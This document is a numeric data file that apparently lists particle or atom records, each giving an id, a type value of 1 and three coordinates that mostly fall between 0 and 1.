1921 1 0.53235 0.112693 0.951946
393 1 0.516717 0.109334 0.812285
1973 1 0.874972 0.328293 0.795855
110 1 0.993547 0.358482 0.968912
1087 1 0.451157 0.462323 0.938655
692 1 0.485113 0.041656 0.652415
443 1 0.269541 0.172762 0.510151
1683 1 0.588836 0.12006 0.841353
585 1 0.60555 0.147549 0.969188
1481 1 0.794299 0.0288833 0.532804
222 1 0.684126 0.0937739 0.892813
1504 1 0.660992 0.481104 0.732356
481 1 0.865782 0.0412319 0.92129
1363 1 0.0160409 0.443336 0.700164
397 1 0.501087 0.182033 0.97593
1799 1 0.79557 0.110572 0.902833
1854 1 0.752927 0.110064 0.977348
79 1 0.843913 0.0110211 0.607034
196 1 0.00436848 0.450503 0.595678
2043 1 0.991943 0.112852 0.962501
379 1 0.434062 0.370789 0.575757
886 1 0.890313 0.0620151 0.852845
432 1 0.925216 0.14025 0.966091
1892 1 0.918788 0.104963 0.90828
295 1 0.992605 0.0436586 0.824537
1400 1 0.0949091 0.222445 0.798787
626 1 0.119931 0.306136 0.925765
1693 1 0.00964769 0.254501 0.854741
807 1 0.0445968 0.190421 0.96905
707 1 0.315328 0.200905 0.962521
251 1 0.130929 0.170773 0.899538
1650 1 0.0853764 0.232809 0.912967
688 1 0.107618 0.258888 0.981719
1958 1 0.335869 0.299537 0.888847
1466 1 0.254705 0.233102 0.892172
1592 1 0.204582 0.159356 0.923969
1072 1 0.197919 0.370792 0.893242
543 1 0.265865 0.317434 0.789929
1979 1 0.0504234 0.423191 0.986458
954 1 0.978759 0.196784 0.566938
470 1 0.393649 0.236074 0.869997
1049 1 0.133265 0.419971 0.860136
2000 1 0.364554 0.293522 0.816417
863 1 0.314268 0.446453 0.730763
1697 1 0.422822 0.328727 0.917976
1754 1 0.62831 0.353222 0.925849
973 1 0.610644 0.40759 0.85049
1952 1 0.562475 0.33743 0.872138
1692 1 0.41963 0.168112 0.963451
720 1 0.492277 0.346983 0.842569
819 1 0.464104 0.397134 0.888413
1367 1 0.461432 0.244536 0.894539
711 1 0.461667 0.106588 0.866629
1912 1 0.765526 0.413673 0.956881
1421 1 0.810618 0.482584 0.729385
1242 1 0.933662 0.00130513 0.792054
638 1 0.741884 0.146938 0.864104
567 1 0.716095 0.212532 0.885898
1507 1 0.529022 0.254686 0.86455
754 1 0.742694 0.38475 0.711901
1778 1 0.650396 0.286239 0.896175
715 1 0.626591 0.212438 0.882398
512 1 0.505505 0.171968 0.904453
668 1 0.571199 0.268532 0.929183
1030 1 0.71449 0.0133417 0.513926
1423 1 0.827813 0.10592 0.968503
875 1 0.751703 0.195469 0.957737
1997 1 0.784657 0.271236 0.68894
1377 1 0.825928 0.229013 0.980387
1418 1 0.597386 0.436353 0.681612
944 1 0.86238 0.0413975 0.504531
925 1 0.786658 0.269841 0.844765
995 1 0.812583 0.193974 0.917365
237 1 0.907551 0.284006 0.978092
1282 1 0.992151 0.249884 0.964188
1866 1 0.938424 0.336126 0.839997
639 1 0.914731 0.203394 0.935965
378 1 0.945146 0.200086 0.783674
1359 1 0.990914 0.163301 0.913141
1385 1 0.942524 0.271188 0.907215
323 1 0.0153664 0.444173 0.505654
410 1 0.686985 0.458997 0.801807
511 1 0.917788 0.446126 0.844942
658 1 0.0367193 0.303887 0.989467
499 1 0.778765 0.0488866 0.943059
1362 1 0.744744 0.257667 0.754323
1731 1 0.0962457 0.371684 0.94068
1853 1 0.265292 0.395011 0.855023
1454 1 0.0301056 0.0300367 0.514299
428 1 0.175166 0.461128 0.895061
824 1 0.817114 0.450931 0.914483
866 1 0.252594 0.489555 0.78225
1843 1 0.396395 0.425364 0.912914
234 1 0.438314 0.392628 0.978791
534 1 0.264485 0.313408 0.886015
1755 1 0.329944 0.442717 0.863323
1277 1 0.827419 0.366492 0.916109
1645 1 0.953348 0.479667 0.548796
983 1 0.389814 0.403649 0.794808
1410 1 0.345907 0.372532 0.913847
1068 1 0.324864 0.359197 0.847474
1426 1 0.024175 0.432234 0.914826
1123 1 0.208774 0.399805 0.979023
4 1 0.723867 0.33702 0.917454
931 1 0.203064 0.0434583 0.912899
716 1 0.512938 0.415585 0.95363
233 1 0.698232 0.429874 0.955233
1526 1 0.533182 0.421749 0.865019
1636 1 0.0318894 0.0522975 0.983187
1019 1 0.698745 0.325602 0.777738
474 1 0.687813 0.358662 0.850631
1111 1 0.568419 0.0182067 0.823245
1896 1 0.705498 0.263963 0.95211
659 1 0.376931 0.253284 0.972009
1055 1 0.750804 0.482311 0.669129
1249 1 0.663538 0.487858 0.966359
1219 1 0.788921 0.270383 0.924337
1672 1 0.831432 0.479992 0.58358
922 1 0.424579 0.46685 0.530168
1061 1 0.672325 0.223549 0.531779
1328 1 0.551505 0.116808 0.526104
1530 1 0.215818 0.320562 0.974434
969 1 0.771719 0.0405432 0.598214
505 1 0.831697 0.469253 0.993077
1555 1 0.52417 0.463777 0.626888
868 1 0.0967134 0.130595 0.982906
1990 1 0.407499 0.343177 0.509114
1573 1 0.423733 0.309862 0.990945
1236 1 0.50291 0.163072 0.503539
1928 1 0.170996 0.62934 0.0557827
1349 1 0.0172975 0.624371 0.0560048
33 1 0.906704 0.523352 0.0776009
1007 1 0.116846 0.686938 0.0101203
173 1 0.0392472 0.735464 0.18804
1044 1 0.133143 0.633958 0.470142
1247 1 0.952221 0.544904 0.0135896
1305 1 0.295396 0.532492 0.150015
524 1 0.0485048 0.76364 0.00684369
1631 1 0.159026 0.713914 0.0717139
1501 1 0.645942 0.912268 0.017688
1527 1 0.28666 0.556068 0.29105
696 1 0.611645 0.957469 0.405543
1052 1 0.171084 0.528526 0.067493
1401 1 0.320174 0.736118 0.147526
1616 1 0.393193 0.589192 0.166934
653 1 0.292799 0.66654 0.113399
1988 1 0.226809 0.669339 0.0913
1474 1 0.31957 0.508116 0.0826421
1460 1 0.383699 0.663561 0.127629
453 1 0.109727 0.94844 0.379018
1176 1 0.070478 0.530639 0.213516
1548 1 0.566982 0.914033 0.454056
736 1 0.295792 0.684591 0.473959
1142 1 0.470699 0.646672 0.154265
1214 1 0.686606 0.621838 0.0808172
1510 1 0.483358 0.554147 0.057013
1059 1 0.460242 0.542998 0.151082
277 1 0.5169 0.639641 0.0603239
1252 1 0.537286 0.676166 0.145083
226 1 0.638461 0.688755 0.112023
1582 1 0.44752 0.570645 0.330923
697 1 0.602028 0.638556 0.0644715
775 1 0.669877 0.556978 0.112741
205 1 0.648644 0.612243 0.00250786
1837 1 0.551427 0.748266 0.0751151
878 1 0.440316 0.947941 0.480606
349 1 0.746831 0.61559 0.155231
490 1 0.768378 0.577627 0.0863079
72 1 0.799916 0.656842 0.108888
321 1 0.178468 0.870239 0.0111954
61 1 0.796526 0.651805 0.198387
1639 1 0.729653 0.784331 0.0566349
978 1 0.467483 0.571221 0.434841
914 1 0.981367 0.637825 0.1394
1012 1 0.853842 0.624379 0.144026
1613 1 0.974805 0.933829 0.113923
1231 1 0.949401 0.637415 0.0295427
1757 1 0.609676 0.591968 0.326982
895 1 0.917436 0.60484 0.180184
1838 1 0.0929996 0.908995 0.480484
362 1 0.893433 0.603397 0.0743489
1313 1 0.0972145 0.66182 0.0840062
421 1 0.925879 0.724009 0.0467358
1479 1 0.0397311 0.875447 0.113248
607 1 0.114908 0.709086 0.137131
1213 1 0.121883 0.723118 0.210481
424 1 0.153564 0.788142 0.178426
1436 1 0.134724 0.836882 0.0883341
1114 1 0.958751 0.725537 0.17985
2002 1 0.790108 0.528891 0.403448
483 1 0.226051 0.724216 0.0391176
1131 1 0.186466 0.773954 0.102791
1263 1 0.104808 0.758505 0.072123
215 1 0.200117 0.856576 0.153525
1536 1 0.329261 0.731364 0.0685077
616 1 0.224988 0.777399 0.174809
693 1 0.249624 0.740685 0.11214
256 1 0.314036 0.806173 0.0760297
986 1 0.224602 0.649574 0.0199562
885 1 0.339724 0.60116 0.0217206
342 1 0.266298 0.569446 0.0264784
1146 1 0.377752 0.845202 0.0644523
1322 1 0.301921 0.720599 0.277473
441 1 0.398231 0.886384 0.188923
764 1 0.345273 0.795955 -0.00100055
1512 1 0.440903 0.741231 0.145215
2028 1 0.629093 0.510076 0.381143
818 1 0.487456 0.928626 0.000432481
1036 1 0.212763 0.750663 0.401022
703 1 0.604208 0.65004 0.16069
1575 1 0.448822 0.8359 0.0501622
994 1 0.038984 0.937881 0.375836
1477 1 0.456906 0.6827 0.085934
1185 1 0.40363 0.755727 0.0448835
1235 1 0.59865 0.769033 0.161152
1750 1 0.583068 0.743954 0.0107211
953 1 0.778272 0.974631 0.323195
1792 1 0.434617 0.609762 0.0941019
1835 1 0.677893 0.69432 0.0387353
1003 1 0.625918 0.757928 0.0744625
183 1 0.545363 0.853703 0.128057
1723 1 0.685619 0.828991 0.0240274
1301 1 0.68279 0.759756 0.217257
1420 1 0.454171 0.50771 0.451844
1369 1 0.829065 0.709213 0.038295
1796 1 0.33159 0.513796 0.332091
1956 1 0.765116 0.716775 0.0722041
689 1 0.235876 0.615043 0.435318
487 1 0.835021 0.706638 0.145221
647 1 0.755463 0.812787 -0.00276924
1022 1 0.831284 0.814195 0.0627545
1186 1 0.361588 0.990467 0.0261878
431 1 0.853202 0.780083 0.169239
1820 1 0.866224 0.673447 0.0874355
1262 1 0.854485 0.747391 0.0944155
281 1 0.0486454 0.712785 0.0868393
412 1 0.872001 0.846172 0.115968
1390 1 0.982308 0.679807 0.0817404
1801 1 0.521905 0.819399 0.0213068
1655 1 0.921436 0.812159 0.0627621
1877 1 0.191653 0.52159 0.313204
1182 1 0.562794 0.506277 0.340284
1154 1 0.995025 0.791109 0.0576804
955 1 0.108823 0.901108 0.0361656
877 1 0.103713 0.951246 0.164329
1825 1 0.111875 0.890256 0.130275
417 1 0.0703099 0.833704 0.0548229
1656 1 0.424858 0.986433 0.412743
1832 1 0.324918 0.863648 0.0201734
1766 1 0.190464 0.914886 0.0710258
1872 1 0.378086 0.529378 0.119005
1589 1 0.313245 0.873436 0.091357
1300 1 0.354933 0.811141 0.134699
1500 1 0.266541 0.960976 0.0487908
1873 1 0.253851 0.885756 0.0563235
1130 1 0.480343 0.6191 0.486992
1883 1 0.270858 0.824612 0.143962
224 1 0.373675 0.912537 0.0335302
311 1 0.170609 0.718625 0.48585
1010 1 0.532891 0.890335 0.194009
1083 1 0.471769 0.911377 0.155909
2017 1 0.493572 0.8848 0.0736072
267 1 0.680301 0.987086 0.430692
1935 1 0.580321 0.996229 0.145276
381 1 0.199855 0.584908 0.00884215
102 1 0.53286 0.939461 0.115089
1073 1 0.459487 0.989296 0.135759
700 1 0.561086 0.897815 0.0497136
288 1 0.645303 0.873147 0.0886638
938 1 0.606391 0.8362 0.026402
1155 1 0.0914589 0.697228 0.415655
666 1 0.251741 0.905123 0.127511
965 1 0.689908 0.887516 0.184867
1884 1 0.718666 0.981807 0.363768
158 1 0.695523 0.924823 0.125274
1915 1 0.623069 0.954455 0.0756784
330 1 0.184069 0.575933 0.483317
1467 1 0.720836 0.937049 0.0406889
1457 1 0.71397 0.877943 0.0779584
1001 1 0.502596 0.993889 0.449983
1412 1 0.948412 0.741641 0.435131
2007 1 0.923355 0.767426 0.124009
1050 1 0.595053 0.768113 0.468074
1581 1 0.878405 0.870376 0.0373392
480 1 0.930656 0.929897 0.0444408
740 1 0.957076 0.850685 0.0171387
1607 1 0.558358 0.594743 0.0232578
1199 1 0.645852 0.557419 0.465241
450 1 0.960473 0.850925 0.113338
2012 1 0.0177118 0.925932 0.171845
488 1 0.850852 0.93832 0.307722
1144 1 0.101264 0.647997 0.339667
832 1 0.167808 0.633262 0.124659
790 1 0.128365 0.577077 0.21225
1459 1 0.0208902 0.57703 0.168472
680 1 0.126589 0.553321 0.351738
2005 1 0.109479 0.76544 0.268709
1624 1 0.0630371 0.632699 0.142303
502 1 0.0611339 0.548188 0.406676
1340 1 0.245731 0.538524 0.08669
1478 1 0.181253 0.644353 0.219331
298 1 0.179518 0.588166 0.267173
521 1 0.112021 0.566917 0.0784172
498 1 0.113245 0.628146 0.271315
1687 1 0.382834 0.976473 0.109889
650 1 0.174695 0.520035 0.22518
1380 1 0.249712 0.645991 0.273206
1841 1 0.0490281 0.99692 0.213371
1508 1 0.403636 0.668141 0.221703
1869 1 0.335274 0.585831 0.12882
1016 1 0.411966 0.531985 0.268714
78 1 0.403618 0.63569 0.303837
52 1 0.309219 0.612159 0.250793
26 1 0.255916 0.607921 0.140305
1134 1 0.260675 0.517433 0.223311
285 1 0.454051 0.58161 0.216468
1556 1 0.620866 0.574078 0.211857
687 1 0.502884 0.696566 0.225852
408 1 0.396086 0.700296 0.348511
273 1 0.56194 0.63973 0.230057
1 1 0.516086 0.594851 0.165223
669 1 0.478822 0.630161 0.263847
2018 1 0.381184 0.599107 0.236915
657 1 0.675109 0.608663 0.166608
1082 1 0.708056 0.582599 0.231239
770 1 0.518545 0.538608 0.487005
1354 1 0.603733 0.535599 0.273875
774 1 0.673211 0.56085 0.295463
1518 1 0.730839 0.520672 0.34863
135 1 0.631707 0.647198 0.28318
704 1 0.78078 0.582426 0.236722
778 1 0.749862 0.637015 0.0295314
296 1 0.670639 0.63791 0.344319
2041 1 0.832211 0.634595 0.284225
910 1 0.86373 0.546807 0.232459
1858 1 0.774756 0.694275 0.271413
1609 1 0.71582 0.657321 0.211156
1196 1 0.783838 0.565097 0.324858
374 1 0.732612 0.612704 0.292842
726 1 0.844806 0.552124 0.146482
782 1 0.957637 0.538448 0.142578
1812 1 0.0463105 0.610379 0.234121
1522 1 0.894331 0.505427 0.1741
414 1 0.966183 0.58259 0.230894
1705 1 0.934339 0.514848 0.23466
45 1 0.848496 0.70622 0.233298
979 1 0.411803 0.569137 0.487988
1081 1 0.113243 0.65472 0.199713
750 1 0.0669985 0.699707 0.268551
274 1 0.15984 0.700107 0.268587
842 1 0.032465 0.772816 0.256476
1611 1 0.0281568 0.785154 0.126269
451 1 0.104651 0.849093 0.390377
1834 1 0.127625 0.716337 0.346559
1047 1 0.953941 0.876393 0.35349
857 1 0.18993 0.71667 0.167752
294 1 0.252527 0.688561 0.188846
134 1 0.297237 0.767521 0.225573
1265 1 0.173264 0.662844 0.330661
975 1 0.335556 0.658762 0.185728
1878 1 0.248997 0.692442 0.341193
1768 1 0.177617 0.768349 0.319658
932 1 0.2221 0.845236 0.443546
422 1 0.311399 0.738939 0.387546
880 1 0.34277 0.778071 0.334581
504 1 0.255874 0.76775 0.346238
1585 1 0.431525 0.854677 0.123496
1106 1 0.331136 0.669565 0.312767
1394 1 0.434632 0.77687 0.39122
129 1 0.429829 0.843926 0.387938
1173 1 0.325459 0.847502 0.284046
1291 1 0.487767 0.823638 0.163209
1749 1 0.554556 0.812484 0.194201
184 1 0.521392 0.755749 0.159143
1658 1 0.681349 0.781553 0.314767
1353 1 0.527869 0.714878 0.309701
382 1 0.466053 0.651831 0.352731
258 1 0.539629 0.763048 0.237211
1136 1 0.439634 0.710408 0.290244
867 1 0.643242 0.835568 0.167679
125 1 0.624845 0.803337 0.254686
649 1 0.57715 0.708738 0.204387
705 1 0.719076 0.729579 0.424262
200 1 0.642594 0.854047 0.3228
1244 1 0.654001 0.702749 0.245484
546 1 0.67852 0.800358 0.108562
415 1 0.596121 0.746919 0.297605
30 1 0.698362 0.680161 0.293578
366 1 0.812321 0.75695 0.268526
1929 1 0.699829 0.672412 0.142192
708 1 0.786588 0.735742 0.197735
635 1 0.735357 0.754743 0.130523
320 1 0.730012 0.751965 0.264971
747 1 0.822513 0.837856 0.226706
187 1 0.86832 0.770745 0.321441
1544 1 0.93419 0.701501 0.244684
94 1 0.89565 0.622387 0.24417
145 1 0.0102615 0.627621 0.304071
305 1 0.778113 0.913662 0.0837964
425 1 0.841911 0.703853 0.312768
1496 1 0.0101023 0.67737 0.23814
768 1 0.896155 0.773315 0.241373
350 1 0.888375 0.836838 0.191736
1100 1 0.935677 0.801534 0.305602
1024 1 0.959187 0.879301 0.274182
540 1 0.963688 0.882815 0.186281
1620 1 0.479149 0.76029 0.089812
573 1 0.0558855 0.838326 0.302092
146 1 0.167958 0.925142 0.188464
1270 1 0.0316329 0.89402 0.254067
903 1 0.923814 0.937863 0.309885
1366 1 0.0362246 0.977709 0.29051
870 1 0.075255 0.810484 0.207003
751 1 0.247998 0.908054 0.209711
1603 1 0.134321 0.859287 0.280941
1259 1 0.226381 0.732451 0.269131
87 1 0.961117 0.589527 0.0949549
1476 1 0.365975 0.852679 0.34912
334 1 0.334206 0.94879 0.162163
1996 1 0.264679 0.893814 0.27731
987 1 0.20354 0.838383 0.235984
1600 1 0.384909 0.929047 0.279276
207 1 0.4016 0.966047 0.182469
76 1 0.324097 0.936304 0.332734
1187 1 0.459487 0.862715 0.219657
835 1 0.30462 0.9472 0.250484
1005 1 0.311024 0.882127 0.185054
1240 1 0.386138 0.90577 0.111727
1599 1 0.397481 0.97806 0.325603
92 1 0.476948 0.941775 0.250298
1855 1 0.862928 0.96471 0.0248857
1150 1 0.53805 0.578654 0.252763
759 1 0.562419 0.954963 0.214928
1495 1 0.406687 0.80106 0.181601
628 1 0.631104 0.957564 0.194507
933 1 0.601828 0.872021 0.233021
91 1 0.286486 0.693578 0.0196537
8 1 0.0656792 0.527158 0.480757
1419 1 0.707132 0.955697 0.208462
1256 1 0.604069 0.905147 0.15518
1358 1 0.654258 0.89883 0.272239
1371 1 0.512409 0.886785 0.285459
1803 1 0.50271 0.895972 0.477139
1569 1 0.590604 0.932226 0.283963
1570 1 0.71824 0.867291 0.327546
1070 1 0.766282 0.507257 0.136559
1379 1 0.714119 0.911905 0.397917
1203 1 0.762335 0.995735 0.154301
1321 1 0.753151 0.896405 0.252939
1438 1 0.744809 0.798873 0.192838
1503 1 0.716152 0.944608 0.295996
380 1 0.706712 0.834777 0.245539
1086 1 0.547857 0.963629 0.0311854
325 1 0.783957 0.835664 0.107645
42 1 0.473767 0.979704 0.314806
1088 1 0.965291 0.955593 0.242957
232 1 0.974958 0.792307 0.214488
1847 1 0.697463 0.652086 0.471918
15 1 0.88699 0.847392 0.275545
624 1 0.763637 0.982811 0.253256
1141 1 0.81911 0.872529 0.298491
55 1 0.89426 0.903877 0.152488
1726 1 0.783328 0.927253 0.191289
168 1 0.0624583 0.622435 0.445574
1417 1 0.663897 0.996336 0.272799
1103 1 0.171902 0.994833 0.262731
601 1 0.0614688 0.588959 0.346761
879 1 0.60779 0.574709 0.410304
1770 1 0.136081 0.531405 0.433972
1949 1 0.0484919 0.766416 0.32684
2025 1 0.1161 0.59499 0.409375
846 1 0.816663 0.609816 0.0361157
1303 1 0.0296324 0.532621 0.28513
1372 1 0.349513 0.59692 0.33564
1034 1 0.978639 0.505787 0.40694
760 1 0.256155 0.995511 0.304956
737 1 0.19534 0.610042 0.372652
1644 1 0.279358 0.623116 0.348086
1078 1 0.774633 0.570405 0.481578
1212 1 0.367778 0.597123 0.40756
789 1 0.231613 0.672429 0.486799
798 1 0.302766 0.565451 0.385532
2014 1 0.332561 0.662608 0.39349
175 1 0.375806 0.628279 0.493615
96 1 0.41743 0.594301 0.00676787
1184 1 0.556162 0.601256 0.465614
1239 1 0.374843 0.725763 0.428296
1063 1 0.24098 0.543386 0.360598
756 1 0.186937 0.965537 0.126568
153 1 0.816894 0.542608 0.0106926
1193 1 0.535803 0.649375 0.328791
940 1 0.524213 0.641693 0.415642
286 1 0.775276 0.59525 0.396742
1179 1 0.60065 0.656938 0.369183
1664 1 0.239186 0.582874 0.213496
387 1 0.758609 0.674147 0.381185
1248 1 0.706778 0.583225 0.431947
1006 1 0.628965 0.652565 0.443163
727 1 0.0436878 0.575968 -0.00164059
1456 1 0.723246 0.527363 0.467476
1747 1 0.892374 0.674772 0.436672
308 1 0.80403 0.656553 0.444693
331 1 0.201469 0.538704 0.155107
456 1 0.569024 0.538771 0.0721196
1194 1 0.849767 0.628064 0.356423
1981 1 0.926222 0.624892 0.351305
728 1 0.00219796 0.707959 0.307116
465 1 0.924197 0.548319 0.422756
2048 1 0.858446 0.562099 0.308913
794 1 0.987365 0.57031 0.362563
1260 1 0.93376 0.559218 0.294247
1777 1 0.807789 0.511968 0.195327
376 1 -0.00140665 0.587287 0.430101
446 1 0.0298014 0.717672 0.379777
106 1 0.261335 0.801559 0.494164
1071 1 0.908268 0.970748 0.0975374
447 1 0.142481 0.758057 0.428618
827 1 0.14417 0.864098 0.456416
1633 1 0.0875905 0.806918 0.465913
579 1 0.00850382 0.80736 0.393626
652 1 0.400526 0.526824 0.405945
1360 1 0.597544 0.52559 0.00366065
1559 1 0.282721 0.819298 0.419422
1860 1 0.263151 0.880762 0.372581
1741 1 0.130032 0.55705 0.00312947
1534 1 0.173263 0.67281 0.406398
1286 1 0.279664 0.746682 0.453144
1934 1 0.536632 0.555795 0.409786
769 1 0.866201 0.881548 0.424185
1735 1 0.0295575 0.839994 0.483473
1345 1 0.251983 0.682469 0.41382
2003 1 0.23886 0.520972 0.437985
293 1 0.474304 0.72788 0.455171
1782 1 0.330716 0.798569 0.473909
352 1 0.463185 0.756901 0.238178
784 1 0.499266 0.781381 0.339497
1992 1 0.031969 0.51351 0.354997
457 1 0.593473 0.993037 0.472787
1719 1 0.546024 0.719382 0.488551
1795 1 0.41152 0.657441 0.430514
231 1 0.536345 0.848435 0.358568
1532 1 0.770609 0.875806 0.0222157
1911 1 0.406267 0.806429 0.290075
1875 1 0.666941 0.787827 0.416621
136 1 0.638518 0.825392 0.491944
1760 1 0.685713 0.668007 0.404947
20 1 0.526893 0.707057 0.387149
1269 1 0.849162 0.573078 0.427988
1499 1 0.640522 0.722167 0.359398
1937 1 0.659124 0.711206 0.486342
1828 1 0.767325 0.747982 0.359591
1028 1 0.241522 0.985819 0.23428
1227 1 0.695546 0.779814 0.480577
1790 1 0.982849 0.684115 0.464121
144 1 0.185723 0.511812 0.390347
1743 1 0.76172 0.821039 0.300066
967 1 0.896819 0.803191 0.428274
1654 1 0.790742 0.752778 0.428702
1315 1 0.271562 0.97592 0.12218
1090 1 0.731105 0.840214 0.447721
781 1 0.916042 0.701093 0.323912
1018 1 0.863512 0.743643 0.459376
1174 1 0.826757 0.704142 0.379842
1319 1 0.95873 0.687589 0.374086
1680 1 0.0332098 0.747869 0.462445
263 1 0.993389 0.882219 0.424236
984 1 0.952176 0.83033 0.472687
683 1 0.882482 0.742237 0.382706
913 1 0.957523 0.76176 0.361178
1819 1 0.883818 0.842951 0.348307
2015 1 0.759902 0.826516 0.373451
1343 1 0.872144 0.941233 0.378952
402 1 -0.0014836 0.979462 0.0270594
625 1 0.187187 0.921889 0.260715
580 1 0.111228 0.997062 0.298345
744 1 0.173011 0.906225 0.387539
147 1 0.235469 0.812831 0.0716726
672 1 0.218145 0.992774 0.436915
1124 1 0.09633 0.921724 0.307163
982 1 0.159159 0.955565 0.000776796
996 1 0.941864 0.973488 0.17157
1292 1 0.346762 0.847625 0.416481
522 1 0.237199 0.9428 0.487888
674 1 0.0960133 0.53641 0.142076
198 1 0.218896 0.946461 0.344732
1797 1 0.995287 0.963495 0.433182
599 1 0.222111 0.838722 0.322873
399 1 0.774483 0.953727 0.48829
1201 1 0.444533 0.953301 0.0733729
2023 1 0.399843 0.919217 0.388422
1560 1 0.47709 0.931129 0.410158
1221 1 0.354083 0.864683 0.488724
103 1 0.670051 0.563465 0.368465
1425 1 0.764648 0.987115 0.0753965
1733 1 0.294123 0.921696 0.434255
656 1 0.370758 0.92553 0.459494
1216 1 0.791252 0.956946 0.416605
216 1 0.388671 0.561506 0.0606215
1040 1 0.205193 0.790844 0.0117263
1698 1 0.511518 0.78037 0.415245
839 1 0.847943 0.976473 0.168338
118 1 0.423886 0.873377 0.471523
2042 1 0.461998 0.900921 0.334905
859 1 0.496272 0.81556 0.274027
844 1 0.494921 0.855761 0.411518
1598 1 0.492338 0.805323 0.482385
1668 1 0.845851 0.989799 0.256569
339 1 0.716096 0.515773 0.192149
847 1 0.671164 0.857342 0.394113
1093 1 0.600653 0.88846 0.374475
809 1 0.0161683 0.645698 0.396408
1651 1 0.591531 0.714111 0.415542
1110 1 0.0453141 0.555467 0.0785303
333 1 0.344983 0.979348 0.397672
150 1 0.83549 0.820419 0.460449
185 1 0.819086 0.86085 0.371775
1720 1 0.778086 0.89444 0.434303
63 1 0.769287 0.913852 0.347189
13 1 0.651947 0.937843 0.337956
1612 1 0.851124 0.504181 0.351626
356 1 0.352433 0.539308 0.200834
1709 1 0.13012 0.962706 0.0808595
1104 1 0.470734 0.499882 0.33774
1163 1 0.107774 0.549555 0.277191
1694 1 0.496024 0.508165 0.274116
1865 1 0.116349 0.94895 0.236541
785 1 0.538675 0.934376 0.345678
991 1 0.279718 0.771391 0.0234428
1250 1 0.0920886 0.619254 0.0308312
1516 1 0.0197061 0.886811 0.0405837
1539 1 0.535017 0.571376 0.333409
479 1 0.57992 0.824128 0.419971
357 1 0.577487 0.560225 0.149235
673 1 0.0465067 0.944103 0.105344
633 1 0.313009 0.565236 0.479792
1817 1 0.980977 0.509351 0.475825
235 1 0.662518 0.991555 0.134655
218 1 0.161717 0.806327 0.496741
1280 1 0.805509 0.707913 0.497019
312 1 0.660834 0.762506 0.00104236
990 1 0.826874 0.615767 0.498234
62 1 0.018898 0.590079 0.501125
426 1 0.0361977 0.497107 0.655381
1151 1 0.00588935 0.605826 0.582048
1378 1 0.201636 0.559837 0.552034
1863 1 0.0672193 0.568144 0.58521
559 1 0.482849 0.968157 0.688761
661 1 0.433516 0.574793 0.846522
1243 1 0.950382 0.644517 0.614027
1975 1 0.646781 0.759322 0.558444
1437 1 0.122949 0.68855 0.537683
1080 1 0.330363 0.509976 0.687092
1314 1 0.292724 0.652275 0.623044
739 1 0.34779 0.745556 0.588431
186 1 0.298984 0.58338 0.56872
583 1 0.183612 0.625805 0.619392
1597 1 0.195822 0.638177 0.548431
1781 1 0.00150784 0.558428 0.832314
1373 1 0.949228 0.554535 0.775799
904 1 0.625763 0.941244 0.526665
67 1 0.372906 0.592343 0.592799
1718 1 0.282888 0.65114 0.550892
510 1 0.75317 0.942265 0.701994
119 1 0.477457 0.549798 0.617647
278 1 0.415313 0.534314 0.576178
1405 1 0.60301 0.505104 0.779935
887 1 0.737431 0.730801 0.511875
1619 1 0.530407 0.740701 0.966751
1075 1 0.465437 0.564274 0.531119
800 1 0.287242 0.796498 0.561411
1794 1 0.792508 0.948795 0.811511
1175 1 0.431808 0.629043 0.566136
1689 1 0.533517 0.509516 0.556129
788 1 0.508931 0.604756 0.583184
71 1 0.569399 0.576999 0.550128
974 1 0.185366 0.977227 0.540794
796 1 0.162728 0.536858 0.830725
476 1 0.665016 0.641923 0.621236
718 1 0.684862 0.549677 0.533088
2033 1 0.966767 0.973144 0.86919
930 1 0.625653 0.554438 0.945653
1800 1 0.632866 0.969777 0.63652
359 1 0.594717 0.656096 0.900575
492 1 0.692772 0.685488 0.556314
958 1 0.62952 0.562597 0.586053
455 1 0.692693 0.547564 0.619385
1681 1 0.255784 0.866074 0.982632
459 1 0.895188 0.675177 0.989831
767 1 0.665597 0.975497 0.573269
845 1 0.606866 0.96571 0.983466
1917 1 0.453703 0.528946 0.995882
463 1 0.863653 0.599516 0.647473
935 1 0.822256 0.667942 0.644399
1676 1 0.811258 0.610581 0.575894
142 1 0.877066 0.645242 0.592017
65 1 0.683012 0.9476 0.967121
486 1 0.893464 0.514005 0.548482
291 1 0.934268 0.58327 0.56757
1713 1 0.892746 0.528082 0.621304
1983 1 0.968143 0.573458 0.64727
1461 1 0.568421 0.520246 0.64382
1403 1 0.114651 0.842788 0.646914
1484 1 0.21402 0.904334 0.931594
1170 1 0.136501 0.715786 0.632553
630 1 0.0191981 0.771891 0.592583
1552 1 0.0611503 0.668155 0.496174
690 1 0.0735998 0.719775 0.580306
108 1 0.142697 0.758021 0.560568
888 1 0.24766 0.689261 0.670357
854 1 0.164212 0.736366 0.699021
1132 1 0.165317 0.796431 0.6234
1453 1 0.24565 0.791787 0.644254
1375 1 0.233106 0.832114 0.724665
1038 1 0.270353 0.718843 0.603494
515 1 0.193818 0.704522 0.587682
1736 1 0.371771 0.682599 0.631907
911 1 0.332286 0.992762 0.757497
138 1 0.460618 0.752214 0.627207
370 1 0.464293 0.680965 0.615376
869 1 0.382795 0.858693 0.641294
603 1 0.330518 0.739885 0.693896
742 1 0.309825 0.833679 0.613401
318 1 0.72317 0.908706 0.826742
1506 1 0.516123 0.668051 0.663393
1772 1 0.419038 0.731949 0.574631
538 1 0.448154 0.848896 0.613903
315 1 0.520015 0.802722 0.548193
1885 1 0.483426 0.730389 0.53708
1916 1 0.527516 0.710587 0.606215
439 1 0.30647 0.896567 0.567978
956 1 0.884117 0.990801 0.855886
436 1 0.442365 0.8072 0.555649
1688 1 0.579074 0.769936 0.588285
1779 1 0.592331 0.68691 0.637479
1299 1 0.645612 0.751108 0.644664
606 1 0.821029 0.996592 0.963298
865 1 0.903496 0.953001 0.745845
1037 1 0.728289 0.73333 0.704212
803 1 0.641001 0.788292 0.748768
1368 1 0.703725 0.833081 0.646165
1944 1 0.703346 0.815204 0.573683
725 1 0.774001 0.671696 0.586692
228 1 0.127525 0.758159 0.991987
407 1 0.722881 0.609882 0.593648
1998 1 0.750791 0.912115 0.638868
1351 1 0.766516 0.853236 0.705617
1637 1 0.770726 0.836479 0.580116
1948 1 0.354254 0.938761 0.669894
562 1 0.775375 0.76087 0.579217
290 1 -0.000505547 0.786462 0.517329
1897 1 0.918029 0.699968 0.579384
1564 1 0.899981 0.856009 0.611085
2044 1 0.00224564 0.687029 0.589404
1211 1 0.0459183 0.937645 0.64592
50 1 0.951322 0.653166 0.532211
306 1 0.854386 0.741836 0.538991
116 1 0.292158 0.535712 0.94699
1550 1 0.89076 0.926294 0.906229
201 1 0.131056 0.920079 0.663449
